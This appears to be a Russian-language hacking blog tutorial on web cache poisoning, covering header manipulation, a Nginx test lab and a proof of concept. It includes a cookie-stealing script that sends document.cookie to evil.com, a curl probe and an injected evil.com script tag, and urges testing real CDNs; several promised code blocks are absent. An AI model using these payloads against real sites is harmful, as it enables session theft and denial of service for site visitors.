Логотип
Главная | Статьи | Web Cache Poisoning: Отравляем Кэш для DoS и Кражи Данных
Web Cache Poisoning: Отравляем Кэш для DoS и Кражи Данных

Web Cache Poisoning: Отравляем Кэш для DoS и Кражи Данных

11 июля, 2025

59

Йо, эксплойтер! Если ты любишь играть с вебом на уровне, где один хитрый заголовок может сломать весь сайт, то Web Cache Poisoning — твой новый фаворит. Это техника, когда ты отравляешь кэш сервера (CDN, прокси или веб-сервера), подменяя контент для всех пользователей. Представь: ты внедряешь вредоносный JS в кэшированную страницу, и каждый посетитель получает твой код — идеально для DoS (заливка мусором) или кражи данных (куки, формы). Сегодня мы разберём, как манипулировать HTTP-заголовками, настроим тестовое окружение на Nginx и запустим PoC для внедрения злого скрипта. Всё с кодом, шагами и лайфхаками — держись, будет жарко! 🔥

Что Такое Web Cache Poisoning и Почему Это Огонь?

Web Cache Poisoning (WCP) — это когда ты обманываешь кэш, заставляя его сохранить “отравленный” ответ вместо нормального. Кэш работает на основе ключей (URL + заголовки вроде Host или User-Agent), и если сервер не валидирует их правильно, ты можешь подменить контент.

  • Для DoS: Отравь кэш мусором (например, 404-страницами или бесконечными редиректами) — сайт тормозит для всех, пока кэш не очистится.
  • Для кражи данных: Внедри JS, который крадёт куки или отправляет формы на твой сервер. Жертвы даже не заметят.

Почему работает? Многие кэши (Varnish, Cloudflare, даже Nginx) используют заголовки вроде X-Forwarded-Host для маршрутизации, но забывают санитизировать. Один плохой запрос — и отравление на часы или дни.

Лайфхак: Всегда сканируй цели на заголовки вроде Cache-Control: max-age=3600 в ответах. Если кэш активен, тестируй на poisoning.

Манипуляция HTTP-Заголовками: Как Подменять Контент

Ключ — в невалидированных заголовках. Сервер может кэшировать ответы на основе:

  • Host или X-Forwarded-Host: Подмени, чтобы сервер подумал, что запрос для другого домена.
  • X-Forwarded-ForUser-Agent: Для вариаций кэша.
  • Cache-Control: Игнорируй, чтобы форсировать кэширование.

Пример сценария: Приложение отражает X-Forwarded-Host в ответе (например, в ссылках или скриптах). Ты подменяешь его на evil.com, и кэш сохраняет страницу с твоим доменом. Следующий юзер видит твой контент.

Шаг 1: Найди уязвимость. Используй Burp Suite или curl: curl -H "X-Forwarded-Host: evil.com" https://target.com/page — проверь, отразился ли в ответе.

Шаг 2: Отравь кэш. Добавь параметры, которые кэш учитывает (например, query string), но сервер игнорирует.

Шаг 3: Проверь. Отправь нормальный запрос — если вернулся отравленный контент, bingo!

Для DoS: Отравь популярные страницы ошибками, чтобы кэш раздавал 500-ки всем.

Для кражи: Внедри <script>fetch('https://evil.com/steal?data='+document.cookie)</script> в отравленный ответ.

Лайфхак: Настройка Тестового Окружения с Nginx

Давай соберём песочницу, чтобы потренироваться. Nginx — идеальный для симуляции, потому что он легко конфигурируется как reverse proxy с кэшем.

Шаг 1: Установи Nginx (на Ubuntu: sudo apt install nginx).

Шаг 2: Создай конфиг /etc/nginx/sites-available/poison-test:

Шаг 3: Запусти простой бэкенд (Python Flask):

Шаг 4: Перезапусти Nginx: sudo nginx -s reload. Теперь http://test.local/ отражает X-Forwarded-Host в HTML — идеально для poisoning.

Лайфхак: Добавь proxy_ignore_headers Cache-Control; в конфиг, чтобы игнорировать анти-кэш заголовки и сделать poisoning проще.

Практический PoC: Внедрение Вредоносного JavaScript

Теперь хардкор: Эксплуатируем наше окружение, чтобы отравить кэш и внедрить JS для кражи куки.

Шаг 1: Отправь отравляющий запрос (используй curl или Python):

Это заставит бэкенд сгенерировать HTML с <script src='//evil.com/script.js'></script>, и Nginx закэширует его по ключу (включая query, если настроено).

В Python для автоматизации:

Шаг 2: Подтверди отравление. Отправь нормальный запрос: curl http://test.local/?poison=1 — должен вернуться отравленный HTML с evil.com.

Шаг 3: Внедри JS. На evil.com настрой сервер с /script.js:

Теперь любой юзер, загрузивший отравленную страницу, выполнит твой скрипт — куки улетают к тебе. Для DoS: Подмени на бесконечный редирект или огромный файл.

Лайфхак: Чтобы усилить, используй unkeyed заголовки (те, что не в cache key) — они позволяют отравлять без изменения URL. Тестируй на реальных CDN вроде Cloudflare: ищи отражения в CSS/JS импортах.

Заключение: Становись Отравителем Кэша

Web Cache Poisoning — это искусство, где один заголовок меняет игру. Мы разобрали механику, настроили Nginx для тестов и запустили PoC для JS-инъекции. Теперь твоя очередь: разверни это на VM, поэкспериментируй с другими заголовками вроде X-Original-URL и поищи уязвимости в wild. Помни, это для этичного хакинга — фиксай баги, не ломай мир.